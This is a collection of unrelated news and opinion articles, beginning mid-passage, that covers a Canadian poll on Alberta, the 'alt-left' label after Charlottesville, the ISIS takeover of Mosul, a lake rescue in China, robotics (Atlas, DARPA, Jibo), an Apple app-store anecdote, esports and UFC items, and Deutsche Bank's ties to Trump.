opposition leader Thomas Mulcair did not lead in any individual region.  While most of the poll questions centred around the oil industry, Mr. Bozinoff said Albertans have always tended to march to the sound of a different drummer. This is as true in politics and economic issues as in anything else.  That said: “If you look at the NDP or the Liberals, even in Alberta you saw in the recent Calgary Centre byelection that there are national currents … that do affect the province.”  The poll also found about a third of Canadians believe the western provinces are an equal partner in Confederation. Fewer than that, 31% said they were a less dominant partner.  About one in five respondents believe the west dominates the country.  In Alberta, about half said the west is not dominant. As many as 41% of Conservatives believe the west still “wants in.” That compares to 26% of Liberals and 29% of NDP supporters.  The poll, conducted through an interactive recorded telephone survey on April 3 and April 8 is considered accurate within a margin of error of between +/- 3%.  National Post
-There’s far too much to say about an event like Charlottesville.  There’s the sorrow we all feel for the family of Heather Heyer, a young woman whose only crime was giving enough of a damn to risk her safety standing up to armed neo-Nazis. There’s the anger at an administration that has once again winkingly refused to condemn a white supremacist mob. There’s the frustration at the police, which is ever-ready to roll out tanks and dystopian armored warriors when it’s black people protesting against being murdered, but apparently stands on the sidelines whistling when armed racists rally in a public square. And there’s the fact that mainstream conservatives have been defending this exact type of violence for months.  Gallons of ink will continue to be justifiably spilled on these and other topics in the weeks to come. And the battle to defeat the far right — through political organizing, mobilization, and the elimination of the social and political conditions that allow it to gestate and thrive — will be long and ongoing.  But if there’s one thing the events of Charlottesville should immediately accomplish, in a world with even a semblance of reason and sense, it’s to once and for all bury the ugly lie that is the “alt-left.”  For months now, as part of the ongoing battle over the future of progressive politics in the United States, members of the liberal center have been warning about what they called the “alt-left,” the alt-right’s supposed mirror image. The term was first used in a Vanity Fair piece by James Walcott in March, in which he claimed there was a “kinship” between the two groups, and proceeded to rattle off a list of its supposed members, all of whom (bar Susan Sarandon) were men.  It should go without saying that the label refers to something that doesn’t exist. This very publication, for instance, was cited by Walcott as one of the alt-left’s “outlets,” despite the fact that we routinely spend our time criticizing Trump and his cronies and are rooted in a longstanding democratic socialist tradition.  The term was always intellectually lazy and dishonest, but veracity was never its point. Rather, it was an evolution of the “Bernie Bro” slur, a way to dismiss left-wing critiques of centrist Democrats by claiming those espousing them were racist, misogynistic, white men, even when they were people of color, women, or both. The insertion of the “alt” label was key — without needing to say a thing, the term drew up an affinity and connection between modern, rebranded white supremacists and those campaigning for universal health care and a higher minimum wage.  In the months that ensued, the epithet and the idea that underwrote it were picked up and used by members of the liberal center as a cudgel against socialists, right up until the events in Charlottesville.  “If the Bernie Bros wanted to make a show of force on behalf of progressive values, Saturday in Charlottesville would be a good time,” wrote Mieke Eoyang, former Ted Kennedy staffer and vice president of the National Security Program at Third Way, a centrist think tank.  One popular liberal Twitter account compared the tiki torch-wielding mob of racists to Bernie Sanders supporters.  Well, the neo-Nazi march in Charlottesville took place, and the same people who some have spent months dismissing as closet racists were on the front line, risking bodily harm to stand up against white supremacy. The International Socialist Organization (ISO) and Democratic Socialists of America (DSA) were part of the counter-protest, and their flags flew high after the alt-right marchers had gone. The DSA started a fundraiser to cover the injuries sustained by those attacked at the event, which has raised $138,000 as of the time of writing. Two of its members were injured in the attack on the protests. So were the family members of a staffer at Truthout, a publication that was critical of Clinton during the 2016 election, and one of whose journalists has featured on the “Trumpian Leftism” Tumblr as a “Bernie Bro” and alt-left member.  Or let’s look at Heather Heyer, the murdered young woman who is so far the only casualty of Saturday’s right-wing attack. Heyer was a committed civil rights activist, whose mother, Susan Bro, said “always had a very strong sense of right and wrong.” She was also a Bernie Sanders supporter.  This is hardly a new development. DSA and other left-wing organizations have been involved in anti-Trump protests, including those against the implementation of Trump’s travel ban. Socialists have been playing important roles in recent protests against police violence. If you go further back, you can find leftists organizing and defeating racists in places like Dubuque, Iowa during the nineties and in other campaigns for over a century.  It is neither tenable or acceptable to smear leftists and progressives who oppose corporate Democrats as analogous to neo-Nazis. While those of us on the Left will continue to battle against the policies of the center — policies we think not only cause harm in the here and now but will do nothing to stem the rise of the Right — we should stand united with those liberals who want to stand with us against racism and hatred.  There are some who are nonetheless clinging to a divisive and false narrative about the Left. The day after the incident, Daily Kos founder Markos Moulitsas wondered if anyone “outside of the alt-left” was “still pretending that “last year’s election was about economic anxiety.” A Daily Kos contributing editor blamed the neo-Nazi march on the “alt-Left,” who “in their drive to smear the ‘impurity’ of Clinton on economic justice issues, excused the racism and bigotry that is Trumpism,” which was “stinging very hard now.” Others made a similar point.  This has to stop. Heyer and those who were injured at Charlottesville are neither the first nor the last left-wing activists who will be hurt at events like this, particularly as radicals are often on the front lines of such confrontations. They deserve better than this.  The Left are neither supporters of white supremacy, nor supporters of Trump, and they never have been. But if liberals join the Left, they can help take the fight to the far right and end the seemingly neverending string of political violence committed by white supremacists. Uniting around this issue is a moral imperative.
-Christian families fled Mosul in February 2010 successive to at least 12 people being killed in anti-Christian violence. Some of the refugees gathered in this monastery in Al Qosh.World Watch Monitor  A mass exodus is underway from Iraq’s second largest city Mosul after its seizure by the ISIS, the Islamic State of Iraq and the Levant, an Iraq and Syria-based Sunni Muslim extremist group.  The BBC reports about 150,000 people have fled the city – population about 1.8 million. World Watch Monitor can confirm that up to a thousand Christian families have fled, for safer areas.  ISIS has been able to take military advantage of a political power vacuum as Iraq’s Prime Minister Nouri Maliki struggles to form a government after recent elections. ISIS wants to overthrow the Iraqi and Syrian Governments and establish a Sunni Muslim Caliphate in the Middle East.  It has been exercising informal control of Nineveh province, where Mosul is situated, for months. The Iraqi Parliament has declared a State of Emergency. The Prime Minister called for the Iraqi people to volunteer, and take up arms to defend the country. He also called on international organizations to support Iraq in maintaining peace, and on neighbouring countries to protect their boundaries, and not let “terrorists” enter Iraq.  Last Friday, 6 June, an estimated 3,000 fighters of ISIS entered Mosul. They killed many people, including 21 policemen. Local security forces fled from these attackers. According to sources on the ground in Mosul, army and police personnel took off their uniforms so as not to be identified.  ISIS now controls the airport in Mosul; taking its guns and some helicopters. Militants are said to be robbing and stealing in schools and banks; they have burned down several buildings and destroyed others.  Local media say militants took 70 female students hostage at the University of Mosul, and took 28 Turkish truck drivers hostage in the city. About 3,000 prisoners were reported to have been freed from the main jails.  One Mosul citizen reported “No water, electricity or food in the houses now” and “It is dangerous to go out as there is random sniper shooting in the city”.  Several sources in mainly Christian areas have confirmed that militants have entered their villages too. A local Christian reports that ISIS extremists are now in control of a well-known ‘Christian’ village in Qara Qosh, where the guards ran away. Another Christian declared that ISIS militants also entered the Mar Behnam Monastery.  Christian refugees living in tents  in a monastery in Al Qosh, North-Iraq.  February 2010World Watch Monitor  Some 200 families, many Christian, are now hosted at the Mar Mattai Monastery and about 50 families an hour are thought to be arriving in Al Qosh, 45km from Mosul, where there is another Monastery. Others have fled as far as Dohuk, 80km from Mosul.  Several schools in mainly Christian villages also opened their doors. New arrivals are desperate for mattresses and blankets, having left carrying only a plastic bag with a few clothes. Some said they had to leave their cars behind at check points and walk for many hours to safer regions.  “When this goes on like this, Mosul soon will be emptied of Christians”, said World Watch Monitor’s source in Iraq, who will remain unnamed for security. “This could be the last migration of Christians from Mosul.”  “Christian families are terrified”, one declared. A Christian man in Mosul said during a phone call: “I was able to make my wife and children leave Mosul, but now I am stuck in the house and can’t move.”  An elderly woman and her adult daughter are still in their house in Mosul. They posted on social media: “God, please save us and Mosul”. They said only they and one other family are left in their neighbourhood, all others have escaped.  The crisis worries many Christians in the neighbouring Northern Kurdish part of Iraq. “We are praying for safety in Kurdistan,” one said.  One Syrian refugee woman working in Erbil, an hour’s drive from Mosul, told World Watch Monitor, “What is happening in Mosul now can badly affect our stay as refugees here in Kurdistan, as some ISIS militia come from Syria…but I hope this will make the UN work more on our papers for emigration and allow us to travel abroad as soon as possible; we applied to migrate to Europe.”
-Image caption A still from Mr Liu's dashcam video shows the car swerve off the road  A Chinese man has been awarded a lifetime supply of fish heads at a local restaurant, after he stopped his car en route to a fish head lunch to perform a dramatic underwater rescue.  Liu Xinting was driving on his lunch break from work when an oncoming car swerved off the road and into a lake.  Mr Liu dived in to the lake as the car sank, rescuing all four people inside including a pregnant woman.  Hearing of the rescue, a local company offered the unusual fish head reward.  "There was no time for me to think or be scared, the fastest thing I could do was save lives," Mr Liu told the local Hangzhou Daily.  "It is hazardous to jump into the water without taking off your shoes and clothes," he said. "But the situation was too urgent."  Image caption The red sedan is seen submerged in the lake  Video from Mr Liu's dashcam showed a pickup truck abandoning a dangerous overtaking move and swerving into the car, pushing it off the road.  The car plunged into man-made Qiandao Lake. Mr Liu rescued the occupants by pulling them out through the windows, Hangzhou Daily reported.  Mr Liu, who works for e-commerce giant Alibaba, was driving with colleagues at the time. The group had planned to enjoy cooked fish heads at a local restaurant.  The story made the local newspaper, and the Hangzhou Qiandao Lake Development Group has now offered to foot the bill for free fish heads forever.  An estimated 700 people are killed each day in traffic accidents, according to the World Health Organization.
-Advertisement  Google's Boston Dynamics has revealed the latest version of its humanoid robot - and it can now get up easily on its own if it falls.  The Atlas robot was widely derided at the recent 'robolympics' after falling repeatedly and needing a crane to get up.  However, the new wireless version is shown being pushed over by an employee - and simply getting back up.  Scroll down for video  He's behind you! Boston Dynamic has revealed the new wireless version of its humanoid robot in a new video showing it walk, run, and even be pushed over and get up again on its own.  THE ATLAS ROBOT According to Boston Dynamics, Atlas is a 'high mobility, humanoid robot designed to negotiate outdoor, rough terrain. 'Atlas can walk bipedally leaving the upper limbs free to lift, carry, and manipulate the environment. 'In extremely challenging terrain, Atlas is strong and coordinated enough to climb using hands and feet, to pick its way through congested spaces.'  Boston Dynamics said the video showed 'a new version of Atlas, designed to operate outdoors and inside buildings.  'It is electrically powered and hydraulically actuated,' the secretive firm said.  'It uses sensors in its body and legs to balance and LIDAR and stereo sensors in its head to avoid obstacles, assess the terrain and help with navigation.  'This version of Atlas is about 5' 9" tall (about a head shorter than the DRC Atlas) and weighs 180 lbs.'  However, the firm released now more details - and the video has no narration.  The video shows the robot walking out of the firm's office and across a snowy plateau.  While lsing its footing several times, it corrects itself and stays upright.  It is also shown moving 10kg boxes with ease in a tight space.  It then faces a more difficult foe - an employee with a hockey stick.  Last year's Robo-Olympics saw the world's most advanced robots go head to series in a series of ever more challenging events.  The DARPA Robotics Challenge (DRC) proved that robots still have some way to go before matching the dexterity of a human.  The impact knocks the robot to the ground. Previousl versions would then have required a crane to lift it up again.  The new wireless version is able to deftly flip onto its knees, then stand up - without help from a human  Twenty five of the top robotics organizations in the world were competing for $3.5 million in prizes, and took on a gruelling simulated disaster-response course during the two day contest.  DARPA says 'the DRC is a competition of robot systems and software teams vying to develop robots capable of assisting humans in responding to natural and man-made disasters.  'It was designed to be extremely difficult.  WHAT THE ROBOTS CAN DO In the recent robot olympics, Robots will try to complete a series of challenge tasks selected by DARPA for their relevance to disaster response. The robots will start in a vehicle, drive to a simulated disaster building, and then they'll have to open doors, walk on rubble, and use tools. Finally they'll have to climb a flight of stairs. There will be a surprise task waiting for the robots at the end - which turned out to be turning a valve.  'We get most of our ideas about robotics from science fiction. And we want to show a little bit of science fact,' said Gill Pratt, who organized the competition for the U.S. Defense Advanced Research Projects Agency, which focuses on futuristic technologies for national security.  The contest runs Friday and Saturday at a Pomona racetrack designed to look like a disaster zone.  The robots may be slow, clumsy and delicate but they might just save lives someday by braving dangerous disaster zones.  Pratt cited the 2011 Fukushima nuclear disaster in Japan as an emergency where such robots would have come in handy.  'Sometimes in a disaster, it is too dangerous for people to go in,' he said.  Teams of engineers, programmers and designers from research institutions across the world have worked for years to build robots that can maneuver the course and complete the assigned tasks.  'We have a valve that we need to turn to shut off a gas leak or something similar,' said John Seminatore, a Virginia Tech graduate student with Team Valor.  Meet the family: The new robot (second from left) next to the original version, and three versions of Spot, the firm's 'dog robot'  The robot is also shown moving heavy boxes around in a confined space, and walking on snowy ground without falling  'We have to cut a hole in a wall to get access to something behind it. And there will be either rough terrain or rubble that we get past.'  The most difficult task - getting out of the small utility vehicle - is so hard that many teams aren't even attempting the dangerous egress, preferring to be docked on their times rather than risk toppling their robot into the dust.  'Robots don't have that sense of touch that humans do to know where they are inside the car,' Seminatore said. 'So it's going to be really nerve-racking for teams because the training wheels have come off.'  The robots come in all shapes and sizes.  Most appear humanoid but some can switch to wheels to get around.  'RoboSimian' looks like a double-jointed monkey without a head.  Another has a torso on a 4-wheeled base, like a centaur.  Team Valor's semi-autonomous ESCHER (Electromechanical Series Compliant Humanoid for Emergency Response) robot lays on the ground after falling backwards during its first run during the Defense Advanced Research Projects Agency Robotics Challenge at the Fairplex June 5, 2015 in Pomona, California  Several teams used DARPA's Atlas robot as a start for their own designs.  'This robot weighs almost 400 pounds with the battery and hydraulics,' Cassie Moreira of Boston Dynamics said as she worked on the knees of a robot from the Massachusetts Institute of Technology.  DARPA's first robot competition in 2004 was a race for driverless cars.  None of the entries finished and most made it only a few miles.  But 11 years later, Google's driverless cars are cruising.  Pratt says that means the competitions are a success.  So even if the robots struggle to exit a car this year, their designers will learn. And when DARPA issues a challenge and invites the public to watch the results, it means the Pentagon's 'mad science' division is serious about disaster response robots.  'What I love about this is it introduces everybody to the new dream.  The IHMC robot takes a fall while trying to negotiate a set of uneven blocks during the robo-olympics in California  After trying to stay upright, it eventually crashes to the floor, looking uncannily like a drunk.  'his is something you can do right now,' said Jonathan Daniels, who teaches robotics at the University of Nevada, Las Vegas.  'Give me five years and we'll have this in high schools.'  'Participating teams, representing some of the most advanced robotics research and development organizations in the world, are collaborating and innovating on a very short timeline to develop the hardware, software, sensors, and human-machine control interfaces that will enable their robots to complete a series of challenge tasks selected by DARPA for their relevance to disaster response.'  The winning team will receive a $2 million grand prize; DARPA plans to award $1 million to the runner-up and $500,000 to the third-place team.  Tasks are 'put together in a single mission' that teams have one hour to complete, Pratt said.  The robots will start in a vehicle, drive to a simulated disaster building, and then they'll have to open doors, walk on rubble, and use tools.  During the contest robots have to walk across different terrain - with many finding sand difficult. Getting them upright again requires a team of engineers a special crane.  Finally they'll have to climb a flight of stairs.  After this, there will be a surprise task waiting for the robots at the end.  Spectators have been encouraged to watch the event, and will see a quartet of virtually identical Finals Courses, or what Kathy Wadham, director of creative programming for Fairplex, thinks of as stage sets.  'Anything that needs to be turned into something else, or created here, we do that,' said Wadham during a backstage tour of the concocted disaster zones the robots will have to navigate over and through.  'We went through our scrap piles to find the doors and the electrical switches,' she said.  Those same piles were a gold mine for creating the debris fields in front of the steel staircases on the left side of each set.  Each junk heap is an assemblage of rooftop turbine vents (some with long-abandoned birds' nests inside), gas line piping, beat up steel drums, water heater vessels, and sundry other pieces of detritus.  'Some of the stuff was not rusted enough at first,' she said. 'So we have a person who rusts and weathers it and makes it look old.'  For some of the details on the set, Walham went shopping.  She found the incandescent bulbs for the dingy metal mesh fixtures online and purchased decals of gauges for the square electrical cabinets from a store specializing in retro design.  'We create places,' says Wadham. 'That's what we do.'  One of the competitors is a human sized robot that can walk, climb walls and even turn into a tank to move across tough terrain.  The Carnegie Mellon University Highly Intelligent Mobile Platform, or CHIMP, is designed to primarily move like a tank using tracks to cover tough terrain.  However, when it needs to, it can simply stand up - and even use built in 'claws' and a use power tools such as a chainsaw to help it climb ladders, scale buildings and even hold a car's steering wheel.  CHIMP is roughly the size of a human, an inch short of 5 feet when it's standing and almost 3 feet when it's crawling.  It weighs 443 pounds. CHIMP's arms are 4.3 feet long – long enough to reach the ground, which is useful and gives the robot a simian-like stance.  It can operate for 90 minutes or more with its battery pack  The robot is set to compete in the US government's robo olympics next month.  'CHIMP needs to master many skills for the DRC Finals,' its creators said.  'During the past several months, it spent long hours crossing block piles and climbing stairs.  'Now it's learning how to drive!'  CHIMP's normal mode of locomotion will be much like that of a tank, with the tracks of all four limbs on the ground, the team says.  This configuration would offer a particular advantage when moving over debris and rough terrain.  'We realize there are a lot of great teams in this competition and the final scoring could be close,' said Tony Stentz, a CMU research professor of robotics and leader of the Tartan Rescue Team.  'We are making steady progress, but we can't afford to get comfortable.'  But CHIMP also can move on the treads of just two limbs when needed, such as when it must use one or more limbs to open a valve, or to operate power tools.  CHIMP will be able to perform complex, physically challenging tasks through supervised autonomy.  A remote, human operator will make high-level commands controlling the robot's path and actions, while the robot's on-board intelligence prevents collisions, maintains stability and otherwise keeps the robot from harm.  The robot also will be pre-programmed to execute tasks such as grasping a tool, stepping on a ladder rung or turning a steering wheel without step-by-step direction from the human controller, circumventing the lag between command and execution.  The competitors range from humanoid robots such as MIT's Hercules (bottom left), Team HRP2-Tokyo's sci-fi effort (top left) and Technische Universitätto Jonny 5 (top right) to Carnegie Mellon's robo chimp (main image) and the four wheeled Nimbro from Germany.  'Humans provide high-level control, while the robot provides low-level reflexes and self-protective behaviors,' said Tony Stentz, NREC director and Tartan Rescue Team leader.  'This enables CHIMP to be highly capable without the complexity associated with a fully autonomous robot.  'This type of robot has tremendous potential,' he said.  Climbing ladders and driving vehicles are among the obstacles robots will face in environments engineered for people.  The NREC entry, Tartan Rescue Team, is one of seven selected by DARPA for DRC Track A, in which each team will develop its own hardware and software.  CHIMP is designed with static stability; it won't fall down even if it experiences a computer glitch or power failure.  'When we walk or stand, our brains are actively controlling our balance all of the time,' Stentz said.  'This dynamic balance makes people nimble and enables them to run.'  When necessary, however, the operator can control CHIMP's individual joints, enabling it to adapt its motion to particular circumstances or extricate itself from tight spots.
-CLOSE Behind the scenes timelapse footage of SXSW. (Kaveh Rezaei, USA TODAY)  Cynthia Breazeal, founder and CEO of Jibo and also an Associate Professor at the MIT Media Lab, spoke to USA TODAY ahead of her keynote on "The Personal Side of Robots" on Friday, March 13, 2015, at the SXSW festival in Austin, Tex. (Photo11: Jack Gruber/USA TODAY)  AUSTIN, Texas — Your future robotic roommate was not ready to make the trip to SXSW.  "Jibo is going through the commercialization process right now," said Cynthia Breazeal, the MIT professor and social robotics pioneer who is the driving force behind the 11-inch-tall robot, which could pass for a distant relative to WALL-E.  Breazeal, a keynoter here, is dead serious about Jibo's future as a humanized robotic member of the household, an engaging companion to teach first grade math to your kid, to remind grandma to take her medicine and to make sure you get the groceries you need.  But Jibo is not meant to be a "slave-robot" either — it is not going to go to Safeway for you, much less vacuum the floor. What makes it different from, say, a Roomba or an entertainment-oriented toy robot is, in Breazeal's words, "this notion of platform, taking something from the playbook of the Android and iOS app ecosystems."  Along those lines, she is courting developers to produce apps or "skills," as she calls them, for Jibo. There'll be a Jibo store.  Jibo garnered attention over the summer when the startup Breazeal founded raised about $2.3 million in an Indiegogo campaign, well above her initial goal of $100,000. The discounted crowdfunding price for anyone who pre-ordered Jibo was $499; consumers will pay about $100 more when Jibo becomes available to the general public, likely in the middle of next year.  Jibo, the social robot (Photo11: Jibo)  "It's very important for Jibo to have the right kind of personality that makes people really want to welcome and engage with this kind of technology," Breazeal told USA TODAY.  Jibo promises a sense of humor. With built-in cameras, it can recognize you and learn from you over time. It might ask for your favorite color and factor that in when it presents information.  And Jibo is being designed to recognize critical cues, like whether you're smiling or not. It might use that to decide when to snap a picture of you or other family members.  Jibo will communicate by speech, by making expressive sounds, and by using graphics. There are times you'll touch Jibo to help the robot know if you like something.  "There is learning, there is adaptation, there is personalization, there is perception, there is decision-making, there's communication and there's expression," Breazeal says.  How are we as humans to treat Jibo — as family members, as pets, as something else?"We're still trying to understand this. It's a new thing," Breazeal says. "In some ways, it's sort of like the kinds of relationships you have with a coach or a tutor. Some (relate) to it as an Internet-connected device, a gadget. And also some dimensions of companionship (with an animal)."  Jibo will also have a role in the connected home and move toward a variety of Internet of Things appliances. It is expected to become a health coach, connecting to your Fitbit or Wi-Fi scale. Jibo won't be wearing an Apple Watch. But you may wear the watch to interact with Jibo.  Breazeal is also mindful of the potential scary side of artificial intelligence, highlighted by Elon Musk in January when he donated $10 million to the Future of Life Institute.  "This is a persistent story of any technology," she says. "If it's a technology of high impact, there's always the opportunity to do things that are really wonderful and always the opportunity that it's going to be abused or misused on some way."  One of the concerns raised is the idea that a robot is going to replace a health care professional. "Historically when people think about robots and automation it's been about taking away human jobs," Breazeal says. "There's a more enlightened view now of robotics, they're called co-bots. The idea is about partnership — how do humans and robots work together as a team."  Breazeal expects you to like your new roommate: "The human-robot relationship is going to be different than the human-human, human-technology or human-dog relationships. But they're going to take on attributes of all those categories and maybe something totally new. People will actually delight in their Jibo."  Read or Share this story: http://usat.ly/1CdS8iD
-Apple has improved its app approval process, but that doesn't mean it's entirely cured of quirks.  Apple sent an email to Tim Novikoff, founder of flash card app, Flash of Genius, asking him to delete, "Finalist in Google's Android Developer's Challenge!" from his app description.  According to Apple, "Providing future platform compatibility plans or other general platform references are not relevant in the context of the iPhone App Store."  In other words, don't talk about the competition!  It sounds harsh, but makes sense. It doesn't matter if it's a great Android application, this is a different platform.  On the other hand, it makes Apple look petty, and points to more evidence of Apple trying to rub out Google, and its Android platform.  See Also:Apple's 10 Dumbest iPhone App Rejections
-Winning every game they have played, Longzhu Gaming placed 1st in Group B with 6 wins under their belt. After this game, Longzhu is confirmed to precede into the quarterfinals. Longzhu did have trouble with dealing with Immortals’ early game pressure, but Longzhu, being robust, pulled through and claimed the win.  On the other hand, Longzhu put in Rascal as a sub for their top lane this game. Unlike Khan, Rascal opted for a more aggressive play style by picking Shen. After the game, Longzhu’s ADC, Pray, was interviewed. Let’s see what he has to say about dealing over 70 thousand damage in that game!  ¤ I want you to explain to us why Varus is such a high priority right now. Before worlds he was just a normal with pick Ardent Censer. Why now is he such a high priority pick for Longzhu?  Well in case of the regular season, I think the Ardent Censer meta was not developed properly yet. However as we started to practice with this champion more, we learned that Varus really matches well with Ardent Censer and which is why it is popular and highly picked at worlds.  ¤ Right now there is a 3 way tie breaker. Who do you think is going to win? Who do you think is the strongest team right now?  Well I love drama. I know Fnatic had a lot of trouble going into this group stage. I wish Fnatic could make it out of the group. However, I think it is going to be either Fnatic or Immortals.
-Roy Nelson Had a Message for Dana White and Lorenzo Fertitta After His UFC 146 Win  Judging by the aftermath of UFC 146, Roy Nelson‘s fight against Dave Herman really was make it or break it for the former Ultimate Fighter winner.  UFC president Dana White said after the event ended that he met with Nelson along with UFC owner Lorenzo Fertitta recently and had a very long talk about his future with the organization.  White says the meeting was similar to conversations he’s had about Nelson in private and public, and that his long term goals for him are always the same: take fighting more seriously, get in shape, and make a run at this thing or it may not work out.  “We had a conversation with him. I’ve said it a million times, I’ve said it to him and I’ll say it again in public, I respect him, he’s got an incredible chin, he’s got punching power, and I always talk about him taking his career serious and not training in his garage, and being in really good shape. The guy is tough,” White said after UFC 146 ended.  Nelson has never shied away from being the “every man” when it comes to his physique in MMA. He’ll probably never have six-pack abs or a chiseled frame, but Nelson goes out and fights with as much heart as anybody in the UFC.  White recognizes Nelson’s heart and determination, but just wishes he’d put the same effort he gives in the Octagon to his training and also his appearance, and it’s not just about having a gut.  “When he shows up and asking me why he doesn’t have any sponsors, and how can I help him. I’m not a fan, I don’t even know what that is, I think that thing is beyond a mullet, I don’t know what the hell that is now. It looks like a wig, he’s got the big beard, his beard is grey,” White said describing Nelson’s appearance.  Well, grooming criticisms aside, the best way for Nelson to guarantee his future with the UFC is to go out and win fights and on Saturday night he certainly did that.  Nelson clocked opponent Dave Herman with his signature overhand right that put the former Sengoku fighter out with one punch.  The win marked Nelson’s second in four fights, and after recent struggles, it certainly seemed to reinvigorate the former Ultimate Fighter champion.  Following the knockout, Nelson climbed the Octagon cage and shouted something in the general direction of White and Fertitta. What he said exactly isn’t known, but White gave a pretty good indication of what it was following Saturday night’s event.  “That was Roy Nelson’s (expletive) you to me and Lorenzo,” said White. “Did you see him come over and yell at us after the fight? It was.”  Follow @DamonMartin on Twitter or e-mail Damon Martin.  For more UFC News and UFC Rumors, follow MMAWeekly.com on Twitter and Facebook.
-Deutsche Bank is President Donald Trump’s largest lender. While the troubled bank has settled several of the charges against it, it’s still undergoing scrutiny by the Department of Justice and other federal regulators, and is being overseen by six independent monitors, making conflicts of interest inescapable.  By Jesse Eisinger  ADVERTISEMENT Thanks for watching! Visit Website  (Photo: Dan Kitwood/Getty Images)  If you measure President Donald Trump’s conflicts of interest by the amount of money at stake, or the variety of dicey interactions with government regulators, one dwarfs any other: his relationship with Deutsche Bank.  In recent weeks, Deutsche Bank has scrambled to reach agreements with American regulators over a host of alleged misdeeds. But because the president has not sold his company, the bank remains a central arena for potential conflicts between his family’s business interests and the actions of officials in his administration.  “Deutsche poses the biggest conflict that we know about in terms of dollar amounts and the scale of legal exposures,” says Brandon Garrett, a University of Virginia law professor and author of Too Big To Fail: How Prosecutors Compromise With Corporations. In trying to clear up its outstanding regulatory troubles, the bank “may have tried to do its best to avoid the appearance of impropriety but it may be impossible for them to do so.”  ADVERTISEMENT Thanks for watching! Visit Website  ADVERTISEMENT Thanks for watching! Visit Website  Deutsche is Trump’s major creditor, having lentbillions to the president since the late 1990s even as other American banks abandoned Trump, who frequently bankrupted his businesses. While the president hasn’t released his tax returns, he has made public some information about his debts. According to these incomplete disclosures and reports, the Trump Organization has roughly $300 million in loans outstanding from the bank. Trump continues to own the business, although he has turned over day-to-day management to his sons.  At the same time that it is Trump’s biggest known creditor, Deutsche is in frequent contact with multiple federal regulators. While the bank agreed last week to pay $630 million to settle charges by New York state’s top financial regulator as well as the United Kingdom’s Financial Conduct Authority that it had aided Russian money laundering, it’s still undergoing a related federal investigation into those activities, which it is also trying to settle. That will be an early big test of the Department of Justice under Attorney General Jeff Sessions. The Department of Justice also has an ongoing probe of foreign exchange manipulation by several banks, including Deutsche Bank.  Even if the bank clears up the ongoing federal cases, it will remain weighed down by past transgressions. During the housing bubble, Deutsche Bank misled buyers about the quality of its mortgage securities and omitted important information. In 2015, its London subsidiary pleaded guilty in connection with the multi-bank conspiracy to manipulate global interest rates and paid $775 million in criminal penalties.  Deutsche will soon have an astonishing six independent monitors monitoring its conduct — the most ever for one company, according to Garrett. Drawn from the ranks of consultancies and law firms, these overseers make sure Deutsche complies with previous state and federal settlements and regulations relating to its foreign exchange manipulations, global interest rate fraud, sales of dodgy mortgage securities, derivatives trading, and sanctions evasion.  Indeed, the independent monitor of Deutsche’s derivatives reporting, Paul Atkins from Patomak Partners, has his own conflict of interest. Atkins served on Trump’s transition team and played a role in appointing federal financial regulators. He is now monitoring whether Trump’s business partner complies with the terms of a settlement with the Commodity Futures Trading Commission on derivatives reporting.  A Patomak spokeswoman declined to comment.  “Just about everything that every branch, every type of enforcement, every action from every agency could touch on Trump’s conflicts. There is no end to the ethics concerns.”  Meanwhile, the Federal Reserve has regulators sitting in Deutsche’s offices, as it does with every big bank, keeping a watchful eye on the firm’s safety and soundness. Last year, the Fed failed Deutsche Bank during its annual stress test, finding that it had insufficient capital and could not withstand another financial crisis. And the Securities and Exchange Commission and the CFTC regulate its investment banking and trading activities.  A Deutsche Bank spokeswoman declined to comment. The White House did not return an email seeking comment.  The Trump Organization’s wide-ranging business dealings could raise quandaries for an array of government agencies, from the Department of Labor, which regulates the company’s employment practices, to the General Services Administration, which leases Trump his hotel in Washington, D.C. “Just about everything that every branch, every type of enforcement, every action from every agency could touch on Trump’s conflicts. There is no end to the corruption and ethics concerns,” Garrett says.  But the potential conflicts may be most acute at the Department of Justice. Whether the Department of Justice walks away from an investigation or takes a hard line against Deutsche Bank, its every move will be scrutinized as either too tough or too weak.  With new management, Deutsche Bank has embarked on an effort to rebuild its reputation. Deutsche CEO John Cyran has conducted an apology tour for the bank’s multiple and serial misdeeds. The money-laundering settlement isn’t Deutsche’s only recent move to close out government probes. In January, it agreed to pay $95 million to end a tax fraud investigation by the United States Attorney for the Southern District of New York. And in December, it became one of the last of the global banks to resolve civil charges over the creation and sale of misleading mortgages investments, agreeing to pay a penalty of $3.1 billion.  In these agreements, Deutsche capitalized on Barack Obama’s Department of Justice’s eagerness to settle, according to defense attorneys who don’t represent the bank but are familiar with the cases. Outgoing administrations desire to wrap investigations up so departing prosecutors may shine their resumes on the way out the door.  The Obama administration had an added incentive to reach settlements because it worried Trump’s Department of Justice might seek smaller penalties or otherwise go soft on corporations. That helps explain why Deutsche Bank’s mortgage securities settlement, which included $4.1 billion in credit for consumer aid in addition to the penalty, was far below the $14 billion figure reported in the fall as Justice’s opening bid. While most observers expected that figure to come down sharply, Deutsche’s terms were still widely considered favorable.  Even so, Deutsche’s share price remains depressed as investors worry about the bank’s future payouts and ongoing fragility. The bank faces class action suits alleging efforts to manipulate interest rates and the currency markets.  Given the government’s responsibilities, Trump’s regulators face a fraught and sensitive task of proving their independence and fair-mindedness when it comes to Deutsche Bank. Prior White Houses have taken great care to avoid interfering in Department of Justice investigations and prosecutions. Despite his early support for Trump’s campaign and their personal friendship, Sessions has said he will not recuse himself from any Department of Justice probe into the president, the Trump family, or any of his political advisors.  The relationship Deutsche Bank has with the president cuts two ways, defense lawyers and former prosecutors say. It might be advantageous to be in business with a president who appears to regard the office as an opportunity for brand enhancement and enrichment. The bank might hope for leniency from the president’s regulators because of its business ties to him.  There are signs that Deutsche’s new management is not eager to continue serving as Trump’s financier. Trump sued the bank in 2008 to avoid paying a loan for a Trump hotel in Chicago. The parties settled, but lawsuits have a way of fraying friendships. A former top executive at Deutsche Bank says the current top management does not like the real estate developer. “They don’t want to do business with him anymore,” he says.  Given the tension, Deutsche may worry about the mercurial president. The bank’s concern is that the Trump administration could use its regulatory powers to secure better business terms. Nationalist strains course through his inner circle. A top Trump economic advisor recently accused Germany of currency manipulation. Trump, some observers fear, may seek to boost American financial institutions over foreign ones like Deutsche.  In recent months, Deutsche has also sought to renegotiate its loans with Trump, according to a Bloomberg report, in an effort to reduce its exposure to the president. The bank hoped to eliminate the president’s personal guarantee on loans. But such a move would not eliminate the conflict of interest, since the president’s company, which Trump still owns, would remain on the hook to pay back the loans.  This story originally appeared on ProPublica as “Deutsche Bank Remains Trump’s Biggest Conflict of Interest Despite Settlements” and is republished here under a Creative Commons license.
